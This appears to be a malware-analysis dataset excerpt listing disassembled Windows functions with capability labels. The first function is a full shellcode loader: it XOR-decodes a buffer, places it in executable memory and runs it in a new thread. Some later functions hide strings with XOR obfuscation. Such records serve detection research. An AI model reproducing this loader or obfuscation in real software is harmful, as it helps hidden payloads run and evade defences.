joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401550
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x210
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1a0], ecx
mov qword [rbp + 0x1a8], rdx
call sym.__main
lea rax, [rbp - 0x40]
lea rdx, [0x004090a0]
mov ecx, 0x1b3
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov byte [rbp + 0x18b], 0x57
mov dword [rbp + 0x18c], 0
mov eax, dword [rbp + 0x18c]
cmp eax, 0x1b1
ja 0x4015d5
mov eax, dword [rbp + 0x18c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor al, byte [rbp + 0x18b]
mov edx, eax
mov eax, dword [rbp + 0x18c]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x18c], 1
jmp 0x40159e
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1b3
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
test rax, rax
jne 0x401622
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_allocate_memory:__lu_n
call sym.printf_char_const__::_
mov eax, 1
jmp 0x401707
mov rax, qword [rbp - 0x48]
mov rdx, rax
lea rcx, str.Memory_Allocated_at_address:_0x_p_n
call sym.printf_char_const__::_
mov rax, qword [rbp - 0x48]
mov rcx, rax
lea rax, [rbp - 0x40]
mov edx, 0x1b3
mov r8, rdx
mov rdx, rax
call sym.memcpy
lea rcx, str.Shellcode_is_written_to_allocated_memory__n
call sym.printf_char_const__::_
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x180], rax
cmp qword [rbp + 0x180], 0
jne 0x4016bc
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_create_thread:__lu_n
call sym.printf_char_const__::_
mov eax, 1
jmp 0x401707
mov rax, qword [rbp + 0x180]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x48]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0
add rsp, 0x210
pop rbp
ret
Function at 0x401c30
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x0040c624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x401db8
mov rax, qword [0x0040c628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401c7c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x401d05
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401c60
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x401ded
mov rax, qword [0x0040c628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0040c628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401dd0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401cfe
sub eax, 0x40
and eax, 0xffffffbf
jne 0x401d60
add dword [0x0040c624], 1
cmp edi, 8
jae 0x401d33
test dil, 4
jne 0x401da4
test edi, edi
je 0x401d28
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x401dbf
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x401d28
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x401d4c
jmp 0x401d28
add rsi, qword [0x0040c628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401cfe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x401d28
xor esi, esi
jmp 0x401c87
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x401d28
mov rax, qword [0x0040c628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x402540
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0040c900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0040c8e0]
test rbx, rbx
je 0x402594
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40258b
test rsi, rsi
je 0x40258b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402570
lea rcx, [0x0040c900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x4027d0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4027e0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4027f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402831
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402828
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402833
add rax, 0x28
cmp rax, r9
jne 0x402814
xor eax, eax
ret

Function at 0x4028d0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00409940]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40293d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40293d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40293d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402934
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40293f
add rax, 0x28
cmp rax, r9
jne 0x402920
xor eax, eax
add rsp, 0x28
ret

Function at 0x402a40
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00409940]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402a60
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402a58
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402abd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402ab4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402ac4
add rax, 0x28
cmp rax, r9
jne 0x402aa0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x402ae0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00409940]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402b4e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402b4e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402b4e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402b4e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402b45
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402b55
add rcx, 0x28
cmp rcx, rax
jne 0x402b30
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402b68
jmp 0x402b4e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402b76
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402b4e
test r9d, r9d
jg 0x402b60
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x407ab0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140006880
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x140011238], rbx
je 0x1400068cc
cmp rax, rbx
jne 0x1400068bf
mov ebx, 1
mov esi, ebx
jmp 0x1400068d1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400068a4
mov ebx, 1
mov eax, dword [0x140011240]
cmp eax, ebx
jne 0x1400068e7
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x14000694c
mov eax, dword [0x140011240]
test eax, eax
jne 0x140006946
mov dword [0x140011240], ebx
lea r15, [0x140008668]
lea rdi, [0x140008650]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x140006938
test eax, eax
jne 0x14000693c
cmp qword [rdi], 0
je 0x14000692d
mov rax, qword [rdi]
mov rcx, qword [0x140008610]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x14000690e
test eax, eax
je 0x14000694c
mov eax, 0xff
jmp 0x140006a28
mov dword [0x14000f894], ebx
mov eax, dword [0x140011240]
cmp eax, ebx
jne 0x140006973
lea rdx, [0x140008648]
lea rcx, [0x140008618]
call sub.msvcrt.dll__initterm
mov dword [0x140011240], 2
test esi, esi
jne 0x140006980
xor eax, eax
xchg qword [0x140011238], rax
cmp qword [0x140011258], 0
je 0x1400069b4
lea rcx, [0x140011258]
call fcn.140007050
test eax, eax
je 0x1400069b4
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140011258]
mov r9, qword [0x140008610]
call r9
mov r8, qword [0x14000f8a8]
mov rdx, qword [0x14000f8a0]
mov ecx, dword [0x14000f898]
call fcn.14000166c
mov dword [0x14000f890], eax
cmp dword [0x14000f8b0], 0
jne 0x1400069e4
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14000f894], 0
jne 0x1400069f9
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14000f890]
jmp 0x140006a28
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.140188000
add rsp, 0x28
jmp 0x140006880

Function at 0x140006f3c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140006f88
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140006f80
cmp dword [rcx + 0x3c], edx
jl 0x140006f80
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140006f80
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140006f88
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140001240
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x110
mov rax, qword [0x14005d0c0]
xor rax, rsp
mov qword [rsp + 0x108], rax
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x80]
call fcn.140037a20
mov dword [rsp + 0x80], 0x68
mov dword [rsp + 0xbc], 1
xor eax, eax
mov word [rsp + 0xc0], ax
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x68]
call fcn.140037a20
mov rcx, qword [rsp + 0x120]
call fcn.14000fdd0
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400013a7
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x51]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.1400014c0
mov rcx, rax
call fcn.1400100f0
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x54], eax
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x51]
call fcn.1400013f0
mov rcx, rax
call fcn.140010370
mov rdx, rax
lea rcx, [0x14005e5c0]
call fcn.140008610
mov ecx, dword [rsp + 0x54]
mov edx, ecx
mov rcx, rax
call fcn.14000c9b0
mov rcx, qword [rsp + 0x60]
mov rdx, rcx
mov rcx, rax
call fcn.140008610
lea rdx, [0x14000a6e0]
mov rcx, rax
call fcn.14000cb70
xor al, al
jmp 0x1400013cf
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x108]
xor rcx, rsp
call fcn.140015110
add rsp, 0x110
pop rdi
ret

Function at 0x1400013f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x28
mov rax, qword [0x14005d0c0]
xor rax, rsp
mov qword [rsp + 0x18], rax
mov byte [rsp], 0xd
mov byte [rsp + 1], 0x4e
mov byte [rsp + 2], 0x7f
mov byte [rsp + 3], 0x68
mov byte [rsp + 4], 0x6c
mov byte [rsp + 5], 0x79
mov byte [rsp + 6], 0x68
mov byte [rsp + 7], 0x5d
mov byte [rsp + 8], 0x7f
mov byte [rsp + 9], 0x62
mov byte [rsp + 0xa], 0x6e
mov byte [rsp + 0xb], 0x68
mov byte [rsp + 0xc], 0x7e
mov byte [rsp + 0xd], 0x7e
mov byte [rsp + 0xe], 0x2d
mov byte [rsp + 0xf], 0x6b
mov byte [rsp + 0x10], 0x6c
mov byte [rsp + 0x11], 0x64
mov byte [rsp + 0x12], 0x61
mov byte [rsp + 0x13], 0x68
mov byte [rsp + 0x14], 0x69
mov byte [rsp + 0x15], 0x2d
mov byte [rsp + 0x16], 0x25
mov byte [rsp + 0x17], 0
lea rax, [rsp]
mov rdi, qword [rsp + 0x48]
mov rsi, rax
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x18]
xor rcx, rsp
call fcn.140015110
add rsp, 0x28
pop rdi
pop rsi
ret
Function at 0x140008050
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x38
mov rax, qword [0x14005d0c0]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov byte [rsp], 3
mov byte [rsp + 1], 0x73
mov byte [rsp + 2], 0x6c
mov byte [rsp + 3], 0x74
mov byte [rsp + 4], 0x66
mov byte [rsp + 5], 0x71
mov byte [rsp + 6], 0x70
mov byte [rsp + 7], 0x6b
mov byte [rsp + 8], 0x66
mov byte [rsp + 9], 0x6f
mov byte [rsp + 0xa], 0x6f
mov byte [rsp + 0xb], 0x2d
mov byte [rsp + 0xc], 0x66
mov byte [rsp + 0xd], 0x7b
mov byte [rsp + 0xe], 0x66
mov byte [rsp + 0xf], 0x23
mov byte [rsp + 0x10], 0x2e
mov byte [rsp + 0x11], 0x46
mov byte [rsp + 0x12], 0x6d
mov byte [rsp + 0x13], 0x60
mov byte [rsp + 0x14], 0x6c
mov byte [rsp + 0x15], 0x67
mov byte [rsp + 0x16], 0x66
mov byte [rsp + 0x17], 0x67
mov byte [rsp + 0x18], 0x40
mov byte [rsp + 0x19], 0x6c
mov byte [rsp + 0x1a], 0x6e
mov byte [rsp + 0x1b], 0x6e
mov byte [rsp + 0x1c], 0x62
mov byte [rsp + 0x1d], 0x6d
mov byte [rsp + 0x1e], 0x67
mov byte [rsp + 0x1f], 0x23
mov byte [rsp + 0x20], 0
lea rax, [rsp]
mov rdi, qword [rsp + 0x58]
mov rsi, rax
mov ecx, 0x21
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140015110
add rsp, 0x38
pop rdi
pop rsi
ret

Function at 0x140008370
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x38
mov rax, qword [0x14005d0c0]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov byte [rsp], 0x24
mov byte [rsp + 1], 0x62
mov byte [rsp + 2], 0x45
mov byte [rsp + 3], 0x4d
mov byte [rsp + 4], 0x48
mov byte [rsp + 5], 0x41
mov byte [rsp + 6], 0x40
mov byte [rsp + 7], 4
mov byte [rsp + 8], 0x50
mov byte [rsp + 9], 0x4b
mov byte [rsp + 0xa], 4
mov byte [rsp + 0xb], 0x56
mov byte [rsp + 0xc], 0x51
mov byte [rsp + 0xd], 0x4a
mov byte [rsp + 0xe], 4
mov byte [rsp + 0xf], 0x74
mov byte [rsp + 0x10], 0x4b
mov byte [rsp + 0x11], 0x53
mov byte [rsp + 0x12], 0x41
mov byte [rsp + 0x13], 0x56
mov byte [rsp + 0x14], 0x77
mov byte [rsp + 0x15], 0x4c
mov byte [rsp + 0x16], 0x41
mov byte [rsp + 0x17], 0x48
mov byte [rsp + 0x18], 0x48
mov byte [rsp + 0x19], 4
mov byte [rsp + 0x1a], 0x57
mov byte [rsp + 0x1b], 0x47
mov byte [rsp + 0x1c], 0x56
mov byte [rsp + 0x1d], 0x4d
mov byte [rsp + 0x1e], 0x54
mov byte [rsp + 0x1f], 0x50
mov byte [rsp + 0x20], 0xa
mov byte [rsp + 0x21], 0
lea rax, [rsp]
mov rdi, qword [rsp + 0x58]
mov rsi, rax
mov ecx, 0x22
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140015110
add rsp, 0x38
pop rdi
pop rsi
ret
Function at 0x140027ed4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140015630
sub rsp, rax
mov rax, qword [0x14005d0c0]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140026840
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140027f23
mov rax, rbp
jmp 0x14002802b
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x5f590]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140028ff4
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x5f590]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140028027
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140028027
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140028ff4
test rax, rax
js 0x140028027
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140028027
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140028019
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140028019
cmp byte [rcx], 0xd
jne 0x140027fff
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14002800e
cmp byte [rcx + 1], 0xa
jne 0x14002800e
inc rcx
jmp 0x14002800e
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x5d4f0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140027fe1
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14002802b
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140015110
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x14002824c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140028262
mov al, 1
jmp 0x1400282c2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140028273
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400282c0
mov ecx, dword [rcx + 0x18]
nop
call fcn.14002f2fc
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400282c0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400282c0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400282c0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400282c2
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140028394
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x14005f590]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400283eb
cmp word [rdx], r13w
jne 0x1400283eb
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400283f0
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140028515
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140028536
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140028429
mov rdx, r9
mov word [rbx], cx
jmp 0x140028450
cmp r9, r8
jae 0x140028460
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14002840a
jmp 0x140028515
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14002850a
cmp dword [rsp + 0x80], esi
je 0x14002850a
lea r8, [0x14005f590]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400284e2
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400284b2
mov word [rbx], r13w
jmp 0x140028512
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400284bf
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140028512
cmp word [rsp + 0x70], r13w
jne 0x1400284ef
cmp rbx, r14
je 0x1400284ac
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140028ffc
cmp word [rsp + 0x70], r13w
je 0x140028515
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x14005f590]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14002850f
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140028515